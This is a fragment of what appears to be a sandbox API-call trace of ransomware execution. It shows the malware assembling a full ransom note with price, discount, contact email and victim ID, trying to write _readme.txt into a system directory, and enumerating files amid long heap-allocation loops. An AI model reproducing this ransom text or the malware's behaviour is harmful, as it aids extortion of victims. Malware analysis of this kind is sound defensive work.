ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.214] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad9168 [0124.215] CreateFileW (lpFileName="C:\\Boot\\es-ES\\_readme.txt" (normalized: "c:\\boot\\es-es\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.215] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad9168 | out: hHeap=0x810000) returned 1 [0124.215] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae3bf0 | out: hHeap=0x810000) returned 1 [0124.215] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.215] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.215] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.215] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.215] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.215] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.215] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.215] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.215] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.215] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450228 | out: hHeap=0x810000) returned 1 [0124.215] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450228 [0124.215] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.215] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.215] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.215] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.215] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.215] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.215] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.215] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.215] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.215] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.215] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.216] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.216] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.216] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.216] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.216] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.216] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.216] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.216] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.216] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.216] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.216] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.216] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.216] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.216] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.216] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.216] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.216] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.216] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.216] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.216] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.216] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.216] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.216] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.216] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.216] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.216] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.216] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.216] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.216] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.216] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.216] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.216] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.216] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.216] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.216] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.216] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.216] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.216] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.216] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.216] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.216] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.216] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.216] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.216] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.217] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.217] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.217] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.217] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.217] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.217] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.217] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.217] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.217] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.217] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.217] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.217] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.217] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.217] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.217] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.217] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.217] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.217] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.217] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.217] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.217] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.218] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.218] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.218] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.218] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.218] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.218] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.218] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.218] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.218] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.218] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.218] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.218] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.218] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.218] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.218] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.218] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.218] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.218] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.218] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.218] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.218] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.218] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.218] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.218] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.218] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.218] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.218] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.218] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.218] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.218] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.218] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.218] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.218] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.218] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.218] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.218] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.218] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.218] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.218] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.219] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.219] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.219] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.219] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.219] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.219] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.219] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.219] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.219] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.219] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.219] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.219] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.219] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.219] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.219] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.219] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.219] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.219] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.219] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.219] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.219] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.219] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.219] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.219] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.219] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.219] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.219] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.219] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.219] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.219] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.219] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.219] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.219] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.219] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.219] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.219] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.219] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.219] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.219] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.219] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.219] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.219] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.219] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.220] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.220] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.220] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.220] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.220] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.220] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.220] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.220] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.220] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.220] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.220] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.220] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.220] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.220] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.220] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.220] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.220] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.220] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.220] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.220] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 